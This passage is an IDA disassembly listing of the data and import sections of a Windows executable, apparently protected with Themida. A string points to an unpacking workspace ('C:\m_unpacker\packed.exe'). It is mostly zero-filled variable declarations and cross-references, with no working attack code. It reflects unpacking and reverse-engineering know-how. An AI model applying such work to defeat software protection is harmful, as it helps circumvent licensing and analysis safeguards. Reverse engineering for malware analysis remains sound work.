sub_4075E6+20r ; sub_40981F+5D8w dword_43ACD0 dd 0 ; DATA XREF: sub_40981F+9A0w ; sub_40981F+A08r dword_43ACD4 dd 0 ; DATA XREF: sub_402688+280r ; sub_40981F+5CBw ... dword_43ACD8 dd 0 ; DATA XREF: sub_402ACC+9Ar ; sub_40981F+B21w dword_43ACDC dd 0 ; DATA XREF: sub_40981F+7E0w ; sub_40981F+84Fr ... dword_43ACE0 dd 0 ; DATA XREF: sub_40981F+1B3w ; sub_40AC20+15r dword_43ACE4 dd 0 ; DATA XREF: sub_40981F+979w ; sub_40981F+9F0r ... dword_43ACE8 dd 0 ; DATA XREF: sub_40981F+36Ew ; sub_40981F+3B9r ... dword_43ACEC dd 0 ; DATA XREF: sub_40981F+37Bw ; sub_40981F+3C1r ... dword_43ACF0 dd 0 ; DATA XREF: sub_4087EE+28r ; sub_4089E7+2Br ... dword_43ACF4 dd 0 ; DATA XREF: sub_40981F+68Ew ; ___:00415550r dword_43ACF8 dd 0 ; DATA XREF: sub_4010B5:loc_4013E0r ; sub_401A76:loc_401D1Cr ... dword_43ACFC dd 0 ; DATA XREF: sub_4085B3+207r ; sub_40981F+496w dword_43AD00 dd 0 ; DATA XREF: sub_40981F+9C7w ; sub_40981F+A20r ... dword_43AD04 dd 0 ; DATA XREF: sub_40981F+2B2w ; sub_40981F+2DEr ... dword_43AD08 dd 0 ; DATA XREF: sub_40981F+7Fw ; sub_40981F+DAr ... dword_43AD0C dd 0 ; DATA XREF: sub_40981F+B6Ew ; sub_40981F+B75r ... dword_43AD10 dd 0 ; DATA XREF: sub_4010B5+2Fr ; sub_401A76+2Fr ... dword_43AD14 dd 0 ; DATA XREF: sub_40981F+807w ; sub_40981F+872r ... dword_43AD18 dd 0 ; DATA XREF: sub_40981F+986w ; sub_40981F+9F8r dword_43AD1C dd 0 ; DATA XREF: sub_40981F+BDFw ; sub_40981F+C10r dword_43AD20 dd 0 ; DATA XREF: sub_4023A7+40r ; sub_4023A7+63r ... dword_43AD24 dd 0 ; DATA XREF: sub_40981F+8FCw ; sub_40981F+910r ... dword_43AD28 dd 0 ; DATA XREF: sub_40981F+BF9w dword_43AD2C dd 0 ; DATA XREF: sub_4010B5:loc_4013AAr ; sub_40144A+3Cr ... dword_43AD30 dd 0 ; DATA XREF: sub_40981F+821w ; sub_40981F+855r dword_43AD34 dd 0 ; DATA XREF: sub_4023A7+50r ; sub_4023A7+78r ... dword_43AD38 dd 0 ; DATA XREF: sub_4087EE+3Fr ; sub_4087EE+69r ... dword_43AD3C dd 0 ; DATA XREF: sub_40981F+65Aw ; sub_40981F+786r ... dword_43AD40 dd 0 ; DATA XREF: sub_402DD7+20Ar ; sub_4030E8+5Er ... dword_43AD44 dd 0 ; DATA XREF: sub_402688+16Er ; sub_40981F+549w ... dword_43AD48 dd 0 ; DATA XREF: sub_40981F+8BDw ; sub_40981F:loc_40A0FAw ... dword_43AD4C dd 0 ; DATA XREF: sub_40981F+28Bw ; sub_40981F+2C6r ... dword_43AD50 dd 0 ; DATA XREF: ___:00407DFEr ; sub_40981F+681w ... dword_43AD54 dd 0 ; DATA XREF: sub_40981F+30Fw ; sub_40981F+323r ... dword_43AD58 dd 0 ; DATA XREF: sub_40981F+395w ; sub_40981F+3D1r ... dword_43AD5C dd 0 ; DATA XREF: sub_40981F+BD2w ; sub_40981F+C08r dword_43AD60 dd 0 ; DATA XREF: sub_40981F+7FAw ; sub_40981F+86Ar ... dword_43AD64 dd 0 ; DATA XREF: sub_4023A7+FCr ; sub_40981F+206w ... dword_43AD68 dd 0 ; DATA XREF: sub_40981F+18Cw ; sub_40981F+1D2r ... dword_43AD6C dd 0 ; DATA XREF: sub_40981F+814w ; sub_40981F+87Ar ... dword_43AD70 dd 0 ; DATA XREF: sub_406C19+244r ; sub_40981F+606w ... dword_43AD74 dd 0 ; DATA XREF: sub_408C26+18Ar ; sub_40981F+2BFw ... dword_43AD78 dd 0 ; DATA XREF: sub_4010B5+6Fr ; sub_40144A+AAr ... dword_43AD7C dd 0 ; DATA XREF: sub_40981F+302w ; sub_40981F+316r ... dword_43AD80 dd 0 ; DATA XREF: sub_405AF2+F9r ; sub_406C19+1FCr ... dword_43AD84 dd 0 ; DATA XREF: sub_4085B3+16r ; sub_40981F+42Ew ... dword_43AD88 dd 0 ; DATA XREF: sub_40981F+199w ; sub_40981F+1DAr ... dword_43AD8C dd 0 ; DATA XREF: sub_40981F+347w ; sub_40981F+39Cr ... dword_43AD90 dd 0 ; DATA XREF: sub_40981F+A73w dword_43AD94 dd 0 ; DATA XREF: sub_4010B5+EBr ; sub_4010B5+1F9r ... dword_43AD98 dd 0 ; DATA XREF: sub_4010B5+87r ; sub_4010B5+9Dr ... dword_43AD9C dd 0 ; DATA XREF: sub_40981F+4Bw ; sub_40981F+C2r ... dword_43ADA0 dd 0 ; DATA XREF: sub_4085B3+2Cr ; sub_4085B3+38r ... dword_43ADA4 dd 0 ; DATA XREF: sub_40981F+165w ; sub_40981F+1BAr ... dword_43ADA8 dd 0 ; DATA XREF: sub_40981F+9E1w ; sub_40E5EB+72r dword_43ADAC dd 0 ; DATA XREF: sub_40981F+667w ; sub_40981F+78Er dword_43ADB0 dd 0 ; DATA XREF: sub_402688+205r ; sub_402DD7+23Br ... dword_43ADB4 dd 0 ; DATA XREF: sub_40981F+BECw ; sub_40981F+C18r dword_43ADB8 dd 0 ; DATA XREF: sub_40981F+3Ew ; sub_40981F+BAr ... dword_43ADBC dd 0 ; DATA XREF: sub_40981F+298w ; sub_40981F+2CEr ... dword_43ADC0 dd 0 ; DATA XREF: sub_405AF2+9Er ; sub_407BDE+9Cr ... dword_43ADC4 dd 0 ; DATA XREF: sub_402688+EBr ; sub_405AF2+89r ... dword_43ADC8 dd 0 ; DATA XREF: sub_40981F+C63w ; sub_40EE72+4624r dword_43ADCC dd 0 ; DATA XREF: sub_40981F+85Bw ; sub_40BC4B+205r ... dword_43ADD0 dd 0 ; DATA XREF: sub_40981F+112w dword_43ADD4 dd 0 ; DATA XREF: sub_40981F+BB8w ; sub_40981F+BF3r dword_43ADD8 dd 0 ; DATA XREF: sub_40144A+119r ; sub_40144A+1A0r ... dword_43ADDC dd 0 ; DATA XREF: sub_4085B3+BCr ; sub_40981F+43Bw ... dword_43ADE0 dd 0 ; DATA XREF: sub_4085B3+FBr ; sub_40981F+47Cw ... dword_43ADE4 dd 0 ; DATA XREF: sub_4085B3+65r ; sub_40981F+448w ... dword_43ADE8 dd 0 ; DATA XREF: sub_402DD7+221r ; sub_402DD7+249r ... dword_43ADEC dd 0 ; DATA XREF: sub_40981F+1A6w ; sub_40981F+1E2r ... dword_43ADF0 dd 0 ; DATA XREF: sub_40981F+9D4w ; sub_40981F+A28r ... dword_43ADF4 dd 0 ; DATA XREF: sub_4087EE+53r ; sub_4087EE+7Fr ... dword_43ADF8 dd 0 ; DATA XREF: sub_40981F+8Cw ; sub_40981F+E2r ... dword_43ADFC dd 0 ; DATA XREF: sub_4010B5+2C2r ; sub_40144A+2DAr ... dword_43AE00 dd 0 ; DATA XREF: sub_40981F+B14w ; sub_40981F+B30r dword_43AE04 dd 0 ; DATA XREF: sub_40981F+31Cw ; sub_41511F+55r dword_43AE08 dd 0 ; DATA XREF: sub_408C26+3Fr ; sub_40981F+27Ew ... dword_43AE0C dd 0 ; DATA XREF: sub_40981F+B7Bw dword_43AE10 dd 0 ; DATA XREF: sub_40981F+ABDw ; sub_40AE02+CEr dword_43AE14 dd 0 ; DATA XREF: sub_40981F+AB0w ; sub_40981F+AB7r ... dword_43AE18 dd 0 ; DATA XREF: sub_40144A+2Er ; sub_401D82+55r ... dword_43AE1C dd 0 ; DATA XREF: ___:00407DEEr ; sub_40981F+674w ... dword_43AE20 dd 0 ; DATA XREF: sub_40981F+BC5w ; sub_40981F+C00r dword_43AE24 dd 0 ; DATA XREF: sub_402688+28Dr ; sub_406C19+250r ... dword_43AE28 dd 0 ; DATA XREF: sub_40981F+993w ; sub_40981F+A00r ... dword_43AE2C dd 0 ; DATA XREF: sub_405AF2+13Ar ; sub_407BDE+B3r ... dword_43AE30 dd 0 ; DATA XREF: sub_4010B5+324r ; sub_40144A+2F0r ... dword_43AE34 dd 0 ; DATA XREF: sub_405AF2+B7r ; sub_405AF2+39Fr ... dword_43AE38 dd 0 ; DATA XREF: sub_4029E9+B0r ; sub_4029E9+C8r ... dword_43AE3C dd 0 ; DATA XREF: sub_4010B5+4Fr ; sub_401A76+4Fr ... dword_43AE40 dd 0 ; DATA XREF: sub_40981F+AFAw ; sub_40981F+B1Br dword_43AE44 dd 0 ; DATA XREF: sub_40981F+31w ; sub_40981F+ADr ... dword_43AE48 dd 0 ; DATA XREF: sub_4087EE+1ECr ; sub_4089E7+232r ... align 10h dword_43AE50 dd 0 ; DATA XREF: sub_40981F+909w ; sub_40981F+91Dr ... dword_43AE54 dd 0 ; DATA XREF: sub_40981F+99w ; sub_40981F+EAr ... dword_43AE58 dd 0 ; DATA XREF: sub_40981F:loc_40991Dw ; sub_40981F+12Bw ... dword_43AE5C dd 0 ; DATA XREF: sub_40981F+126w ; sub_40A4AC+1Cr dword_43AE60 dd 0 ; DATA XREF: sub_40981F:loc_409A0Dw ; sub_40981F:loc_409A74w ... dword_43AE64 dd 0 ; DATA XREF: sub_40981F+250w ; sub_40A4AC+50r dword_43AE68 dd 0 ; DATA XREF: sub_40981F:loc_409B09w ; sub_40981F:loc_409B4Ew ... dword_43AE6C dd 0 ; DATA XREF: sub_40981F+400w ; sub_40A4AC+84r dword_43AE70 dd 0 ; DATA XREF: sub_40981F:loc_409D05w ; sub_40A4AC:loc_40A55Cr dword_43AE74 dd 0 ; DATA XREF: sub_40981F+4E1w ; sub_40A4AC+B8r dword_43AE78 dd 0 ; DATA XREF: sub_40981F:loc_409FD6w ; sub_40A4AC:loc_40A590r dword_43AE7C dd 0 ; DATA XREF: sub_40981F+7B2w ; sub_40A4AC+ECr dword_43AE80 dd 0 ; DATA XREF: sub_40981F:loc_40A0C1w ; sub_40981F+8D1w ... dword_43AE84 dd 0 ; DATA XREF: sub_40981F+8CCw ; sub_40A4AC+120r dword_43AE88 dd 0 ; DATA XREF: sub_40981F:loc_40A155w ; sub_40A4AC:loc_40A5F8r ... dword_43AE8C dd 0 ; DATA XREF: sub_40981F+931w ; sub_40A4AC+154r dword_43AE90 dd 0 ; DATA XREF: sub_40981F:loc_40A260w ; sub_40A4AC:loc_40A62Cr ... dword_43AE94 dd 0 ; DATA XREF: sub_40981F+A3Cw ; sub_40A4AC+188r dword_43AE98 dd 0 ; DATA XREF: sub_40981F:loc_40A2AAw ; sub_40A4AC:loc_40A660r dword_43AE9C dd 0 ; DATA XREF: sub_40981F+A86w ; sub_40A4AC+1BCr dword_43AEA0 dd 0 ; DATA XREF: sub_40981F:loc_40A2F4w ; sub_40A4AC:loc_40A694r dword_43AEA4 dd 0 ; DATA XREF: sub_40981F+AD0w ; sub_40A4AC+1F0r dword_43AEA8 dd 0 ; DATA XREF: sub_40981F:loc_40A368w ; sub_40A4AC:loc_40A6C8r dword_43AEAC dd 0 ; DATA XREF: sub_40981F+B44w ; sub_40A4AC+224r dword_43AEB0 dd 0 ; DATA XREF: sub_40981F:loc_40A3B2w ; sub_40A4AC:loc_40A6FCr dword_43AEB4 dd 0 ; DATA XREF: sub_40981F+B8Ew ; sub_40A4AC+258r dword_43AEB8 dd 0 ; DATA XREF: sub_40981F:loc_40A450w ; sub_40A4AC:loc_40A730r dword_43AEBC dd 0 ; DATA XREF: sub_40981F+C2Cw ; sub_40A4AC+28Cr dword_43AEC0 dd 0 ; DATA XREF: sub_40981F:loc_40A49Aw ; sub_40A4AC:loc_40A764r dword_43AEC4 dd 0 ; DATA XREF: sub_40981F+C76w ; sub_40A4AC+2C0r dword_43AEC8 dd 81h dup(0) ; DATA XREF: sub_40AA35+6Ao dword_43B0CC dd 5 dup(0) ; DATA XREF: sub_40AEE0+32o dword_43B0E0 dd 0 ; DATA XREF: sub_40B328:loc_40B349r ; sub_40B417+54r ... dword_43B0E4 dd 0 ; DATA XREF: sub_40B328r ; sub_40B417+37r ... dword_43B0E8 dd 0 ; DATA XREF: sub_40B358+1Ar ; sub_40B56C+83o dword_43B0EC dd 0 ; DATA XREF: sub_40B328:loc_40B33Cr ; sub_40B56C+11Bw dword_43B0F0 dd 0Dh dup(0) ; DATA XREF: sub_40B417+13o ; sub_40B56C:loc_40B6A9o dword_43B124 dd 0 ; DATA XREF: sub_40B417+CDr ; sub_40B417+ECr ... dd 0 dword_43B12C dd 0Eh dup(0) ; DATA XREF: sub_40B721+47o dword_43B164 dd 1000h dup(0) ; DATA XREF: sub_40BF6D+1Do ; sub_40C00Do ... dword_43F164 dd 0 ; DATA XREF: sub_40BF6D+13o ; sub_40C00D+Eo ... dword_43F168 dd 0Eh dup(0) ; DATA XREF: sub_40D01A+Fo dword_43F1A0 dd 2 dup(0) ; DATA XREF: sub_40D3A5+C8o dword_43F1A8 dd 17h dup(0) ; DATA XREF: sub_40D835:loc_40D952o ; sub_40D835+131o ... dword_43F204 dd 80h dup(0) ; DATA XREF: sub_40E5EB+7Co ; sub_40E5EB+A5o dword_43F404 dd 0 ; DATA XREF: sub_40DBB0+45w ; sub_40DBB0+4Dr ... dword_43F408 dd 17h dup(0) ; DATA XREF: sub_40E4B7:loc_40E5D9o ; sub_40E4B7+12Do dword_43F464 dd 80h dup(0) ; DATA XREF: sub_40DAF0+4Co ; sub_40DAF0+7Eo ... byte_43F664 db 0 ; DATA XREF: sub_40DBB0+29r ; sub_40DBB0+34w align 4 dword_43F668 dd 80h dup(0) ; DATA XREF: sub_40DE07+61o ; sub_40DE07+89o ... dword_43F868 dd 82h dup(0) ; DATA XREF: sub_40D719:loc_40D751o ; sub_40D719+5Bo dword_43FA70 dd 0 ; DATA XREF: sub_40BE75+Ao ; sub_40BE75+44r ... dd 5 dup(0) dword_43FA88 dd 0 ; DATA XREF: sub_40BE75+60r ; sub_40EE72+BD6r dd 2D9h dup(0) dword_4405F0 dd 0 ; DATA XREF: sub_407767+A8r ; sub_40BE75+2Do ... dd 7Fh dup(0) dword_4407F0 dd 0 ; DATA XREF: sub_416D5C+41w ; sub_416E97+40w ... dword_4407F4 dd 0 ; DATA XREF: sub_4060D0+23Bw ; sub_407767:loc_4077AEr ... dword_4407F8 dd 0 ; DATA XREF: sub_40B56C+164w ; sub_416810+AEw ... dword_4407FC dd 0 ; DATA XREF: sub_402688+E0w ; sub_405AF2+7Ew ... dword_440800 dd 0 ; DATA XREF: ___:00407E84w ; ___:00407FA0r ... dword_440804 dd 0 ; DATA XREF: sub_4060D0+268w ; sub_407252+122w ... byte_440808 db 0 ; DATA XREF: sub_40EB92+91o ; sub_40EE72+3357r ... align 4 dd 13D1h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:off_42A2D0o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:0042CCA8o dword_450050 dd 10003h dup(0) dword_49005C dd 102h dup(0) ; DATA XREF: ___:off_427B6Co db 3 dup(0) byte_490467 db 0 ; DATA XREF: Themida_:loc_549B9Fo dd 0F462h dup(0) dword_4CD5F0 dd 0 ; DATA XREF: sub_407110:loc_40717Er ; ___:0040E6E3w ... align 8 dword_4CD5F8 dd 0 ; DATA XREF: ___:loc_40EAA4o dword_4CD5FC dd 20h dup(0) ; DATA XREF: ___:0040EA3Co ; ___:0040EAF5o ... dword_4CD67C dd 10h dup(0) ; DATA XREF: ___:0040EA53o ; sub_40EE72+929o dword_4CD6BC dd 24h dup(0) ; DATA XREF: ___:0040EA6Ao dword_4CD74C dd 0 ; DATA XREF: ___:0040EA5Ew ; ___:0040EB0Cw ... dword_4CD750 dd 0 ; DATA XREF: ___:0040EA7Dw align 10h dword_4CD760 dd 0 ; DATA XREF: sub_40EB92+72r ; sub_40EE72+273r align 8 byte_4CD768 db 0 ; DATA XREF: sub_40ECFA+28r ; sub_40ECFA+30o align 4 dword_4CD76C dd 0 ; DATA XREF: ___:0040EAA9w ; ___:0040EAC0r ... dword_4CD770 dd 0 ; DATA XREF: ___:0040EA41w ; sub_40EE72+8CAr dd 2 dup(0) dword_4CD77C dd 0 ; DATA XREF: ___:004155C6r dd 0 dword_4CD784 dd 1Bh dup(0) ; DATA XREF: sub_415D6A+8Do dword_4CD7F0 dd 0 ; DATA XREF: sub_416FA4+16o ; sub_416FC3+19o dword_4CD7F4 dd 65h dup(0) ; DATA XREF: sub_416F57+3Do byte_4CD988 db 0 ; DATA XREF: sub_416C55+6Ar ; sub_416C55+98w align 4 dd 2 dup(0) dword_4CD994 dd 0 ; DATA XREF: sub_417D73+Aw dword_4CD998 dd 0 ; DATA XREF: sub_4186B1+5Er ; sub_4186B1+A4w align 10h word_4CD9A0 dw 0 ; DATA XREF: sub_4186B1+55r ; sub_4186B1+9Ao word_4CD9A2 dw 0 ; DATA XREF: sub_4186B1+48r db 2 dup(0) word_4CD9A6 dw 0 ; DATA XREF: sub_4186B1+3Br word_4CD9A8 dw 0 ; DATA XREF: sub_4186B1+2Er word_4CD9AA dw 0 ; DATA XREF: sub_4186B1+21r align 10h dword_4CD9B0 dd 0 ; DATA XREF: sub_418B6E+3Br ; sub_418B6E+91w dword_4CD9B4 dd 0 ; DATA XREF: sub_418833+1B9w ; sub_418D0E:loc_418D8Aw ... dword_4CD9B8 dd 0 ; DATA XREF: sub_4197F9+35w ; sub_41A6B7:loc_41A751w ... dword_4CD9BC dd 0 ; DATA XREF: sub_41FEC6+13Ar dd 0A28h, 501h, 5, 1 dword_4CD9D0 dd 1 ; DATA XREF: ___:loc_40E98Cr ; ___:0041F2D1w dword_4CD9D4 dd 2420B30h ; DATA XREF: ___:0040E995r ; ___:0040E9B5r ... dd 0 dword_4CD9DC dd 2420B58h ; DATA XREF: ___:0041F1CBw ; sub_421DAE+9r ... dword_4CD9E0 dd 0 ; DATA XREF: sub_422492+36r dword_4CD9E4 dd 0 ; DATA XREF: sub_421DAE+16r ; sub_42217C+4r ... dd 0 off_4CD9EC dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4CD9F4 db 0 ; DATA XREF: sub_419B07+2Dw ; sub_41FAE7+5r align 4 dword_4CD9F8 dd 0 ; DATA XREF: sub_419B07+27w dword_4CD9FC dd 0 ; DATA XREF: sub_419B07+4r ; sub_419B07+8Bw dword_4CDA00 dd 0 ; DATA XREF: ___:loc_41F199r ; ___:loc_41F1DBr ... align 8 dword_4CDA08 dd 0 ; DATA XREF: sub_419CDAr sub_41F84Cr ... dword_4CDA0C dd 0 ; DATA XREF: sub_41A8A2+37r dd 0 dword_4CDA14 dd 0 ; DATA XREF: sub_417B89r ; sub_41944F:loc_41956Br ... dword_4CDA18 dd 0 ; DATA XREF: sub_41AB54r dword_4CDA1C dd 0 ; DATA XREF: sub_41BA22+4Bw ; sub_41BB3B+2Dw ... dword_4CDA20 dd 0 ; DATA XREF: sub_41C96D+11r ; sub_41CA71+1Ar ... byte_4CDA24 db 0 ; DATA XREF: sub_41C96D+3r ; sub_41C96D+98r ... align 4 dword_4CDA28 dd 0 ; DATA XREF: sub_41CA71+11r ; sub_41CB4F+21w ... byte_4CDA2C db 0 ; DATA XREF: sub_41CB4F+51w align 10h dword_4CDA30 dd 0 ; DATA XREF: sub_41CD45+4Er ; sub_41D120+3Ar ... dword_4CDA34 dd 0 ; DATA XREF: sub_41CD45+5Cr ; sub_41D120+43r ... dword_4CDA38 dd 0 ; DATA XREF: sub_417FFA+7Ar ; sub_41CEEC+5r dword_4CDA3C dd 0 ; DATA XREF: sub_41D4FC+29r dword_4CDA40 dd 2 dup(0) ; DATA XREF: sub_418790+Co dword_4CDA48 dd 0 ; DATA XREF: sub_419063+4r ; sub_419063+6Er ... dd 3 dup(0) dword_4CDA58 dd 0 ; DATA XREF: sub_4199B9+61r ; sub_4199B9+BFr ... align 10h dword_4CDA60 dd 1 ; DATA XREF: sub_41E709+28r ; sub_41E709+4Cw ... dword_4CDA64 dd 1 ; DATA XREF: sub_41E92D:loc_41EAA8r ; sub_41EAC6+4w ... dword_4CDA68 dd 0 ; DATA XREF: ___:0041EFE5r ; ___:0041EFF1w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o ; ___:off_4CD9ECo align 4 dd 3Ah dup(0) dword_4CDB70 dd 1 ; DATA XREF: ___:0041F48Fr ; ___:0041F4B0w ... dword_4CDB74 dd 0 ; DATA XREF: sub_41F84C+21r dword_4CDB78 dd 0 ; DATA XREF: sub_41A8A2:loc_41A8CBw ; sub_41A96C+154w ... dword_4CDB7C dd 1 ; DATA XREF: sub_41FB63+26r ; sub_41FB63:loc_41FBCDw dword_4CDB80 dd 0 ; DATA XREF: sub_41A96C+7r align 8 word_4CDB88 dw 0 ; DATA XREF: sub_42074B+1Ao ; sub_42074B+46r byte_4CDB8A db 0 ; DATA XREF: sub_42074B+39r align 4 dword_4CDB8C dd 7 dup(0) ; DATA XREF: sub_42074B+52o dword_4CDBA8 dd 0 ; DATA XREF: sub_42074B+40w ; sub_42074B+5Co dword_4CDBAC dd 0 ; DATA XREF: sub_42074B+4Dw dword_4CDBB0 dd 0 ; DATA XREF: sub_42074B+31w dword_4CDBB4 dd 0 ; DATA XREF: sub_42074B+52w dword_4CDBB8 dd 77C26E79h ; DATA XREF: sub_42086E:loc_420891r ; sub_42086E+38r align 10h dword_4CDBC0 dd 0 ; DATA XREF: sub_42094E+11w ; sub_42094E+63w ... align 8 dword_4CDBC8 dd 0 ; DATA XREF: sub_42094E+33o ; sub_42094E+46r dword_4CDBCC dd 10h dup(0) ; DATA XREF: sub_42094E+C1o word_4CDC0C dw 0 ; DATA XREF: sub_420BAC+A8r word_4CDC0E dw 0 ; DATA XREF: sub_42094E+54r ; sub_420BAC+DBr ... word_4CDC10 dw 0 ; DATA XREF: sub_420BAC+CAr word_4CDC12 dw 0 ; DATA XREF: sub_420BAC+D3r ; sub_420BAC:loc_420C9Er word_4CDC14 dw 0 ; DATA XREF: sub_420BAC+C0r word_4CDC16 dw 0 ; DATA XREF: sub_420BAC+B8r word_4CDC18 dw 0 ; DATA XREF: sub_420BAC+B0r word_4CDC1A dw 0 ; DATA XREF: sub_420BAC+9Er dword_4CDC1C dd 0 ; DATA XREF: sub_42094E+4Br dword_4CDC20 dd 10h dup(0) ; DATA XREF: sub_42094E+FBo word_4CDC60 dw 0 ; DATA XREF: sub_420BAC+46r word_4CDC62 dw 0 ; DATA XREF: sub_42094E:loc_4209C5r ; sub_420BAC+78r ... word_4CDC64 dw 0 ; DATA XREF: sub_420BAC+67r word_4CDC66 dw 0 ; DATA XREF: sub_420BAC+70r ; sub_420BAC:loc_420C30r word_4CDC68 dw 0 ; DATA XREF: sub_420BAC+5Dr word_4CDC6A dw 0 ; DATA XREF: sub_420BAC+55r word_4CDC6C dw 0 ; DATA XREF: sub_420BAC+4Dr word_4CDC6E dw 0 ; DATA XREF: sub_420BAC+3Er dword_4CDC70 dd 0 ; DATA XREF: sub_42094E+80r dword_4CDC74 dd 0 ; DATA XREF: sub_42094E+132r ; sub_42094E:loc_420A9Ar ... dword_4CDC78 dd 0 ; DATA XREF: sub_420939r sub_420939+Ew dword_4CDC7C dd 0 ; DATA XREF: sub_42105F+3r ; sub_42105F+2Ew ... dword_4CDC80 dd 0 ; DATA XREF: sub_42105F+43w ; sub_42105F:loc_4210AEr dword_4CDC84 dd 0 ; DATA XREF: sub_42105F+4Aw ; sub_42105F+60r dword_4CDC88 dd 0 ; DATA XREF: sub_41FEC6+3Fr dword_4CDC8C dd 0 ; DATA XREF: sub_421C3C:loc_421CA3r ; sub_421C3C+6Do dword_4CDC90 dd 0 ; DATA XREF: sub_421C3C:loc_421C7Ar ; sub_421C3C+44o dword_4CDC94 dd 0 ; DATA XREF: sub_421C3C:loc_421C6Dr ; sub_421C3C+37o dword_4CDC98 dd 0 ; DATA XREF: sub_421C3C:loc_421C87r ; sub_421C3C+51o align 10h dword_4CDCA0 dd 0 ; DATA XREF: sub_4221EA+28r ; sub_4221EA+48w ... dword_4CDCA4 dd 0 ; DATA XREF: sub_422C78+28r ; sub_422C78+4Cw ... dword_4CDCA8 dd 0 ; DATA XREF: sub_422F03+26r ; sub_422F03:loc_422F6Dw byte_4CDCAC db 0 ; DATA XREF: sub_40482Cr sub_40482C+9w align 10h dword_4CDCB0 dd 2421140h ; DATA XREF: sub_41A835:loc_41A846r ; sub_41AADC+14r ... align 10h dword_4CDCC0 dd 400h dup(0) ; DATA XREF: ___:off_436388o ; ___:00436390o dword_4CECC0 dd 200h ; DATA XREF: sub_41A835+9r ; sub_41A835+56r ... dd 7 dup(0) dword_4CECE0 dd 2420650h ; DATA XREF: sub_419D23+B1r ; sub_41E248+75r ... dword_4CECE4 dd 3Fh dup(0) ; DATA XREF: ___:0041F651o dword_4CEDE0 dd 20h ; DATA XREF: sub_41A6B7+8r ; sub_41E321+Cr ... dword_4CEDE4 dd 4E4h ; DATA XREF: sub_41E92D+14r ; sub_41E92D+65w ... align 10h dword_4CEDF0 dd 3 dup(0) ; DATA XREF: sub_41E92D+123o ; sub_41E92D+171o ... dword_4CEDFC dd 0 ; DATA XREF: sub_41E92D+108w ; sub_41E92D+15Dw ... byte_4CEE00 db 0 ; DATA XREF: sub_41EB6C:loc_41EC78w ; sub_41EB6C:loc_41EC95w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4CEF00 db 0 ; DATA XREF: sub_41E92D+5Co ; sub_41E92D+AFo ... byte_4CEF01 db 0 ; DATA XREF: sub_4192B8+5Dr ; sub_41E92D+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4CF004 dd 0 ; DATA XREF: sub_41E92D+6Ew ; sub_41E92D+12Bw ... dword_4CF008 dd 0 ; DATA XREF: sub_41B3E6+5r ; sub_41B3E6+32w dword_4CF00C dd 0 ; DATA XREF: sub_41ADB4+23Ar ; sub_41ADB4+25Ar ... dword_4CF010 dd 0 ; DATA XREF: sub_41ADB4+311w ; sub_41B0DD:loc_41B12Dr ... dword_4CF014 dd 0 ; DATA XREF: sub_41ADB4+22Dr ; sub_41ADB4+260r ... dword_4CF018 dd 0 ; DATA XREF: sub_41AD89r ; sub_41ADB4+2CBr ... dword_4CF01C dd 0 ; DATA XREF: sub_41AD89+8r ; sub_41ADB4+2D0r ... dword_4CF020 dd 0 ; DATA XREF: sub_417BC7+Fr ; sub_41944F+5Cr ... dword_4CF024 dd 2420000h ; DATA XREF: sub_417BC7+66r ; sub_417C3B+5Ar ... dword_4CF028 dd 1 ; DATA XREF: sub_417BC7r sub_417C3B+Cr ... dword_4CF02C dd 142340h ; DATA XREF: ___:0041F13Er ; ___:0041F269r dword_4CF030 dd 1 ; DATA XREF: ___:0041F234w sub_421DAEr dword_4CF034 dd 1 ; DATA XREF: sub_41ECF1r ; sub_41ECF1+11w ... dword_4CF038 dd 2420758h ; DATA XREF: sub_418603+13r ; sub_418603:loc_418645r ... dword_4CF03C dd 2420758h ; DATA XREF: sub_418603+1r ; sub_418603+Cr ... dd 3F0h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000D1000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000D1000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4D1000h align 2000h _rsrc___ ends ; Section 3. (virtual address 000D2000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000D2000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4D2000h a7icwCw db '7╗Гw╣\Гw',0 align 4 dd 77345219h, 4 dup(0) dd 0D2050h, 0D2000h, 3 dup(0) dd 0D2079h, 0D200Ch, 5 dup(0) aKernel32_dll_0 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000D3000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw 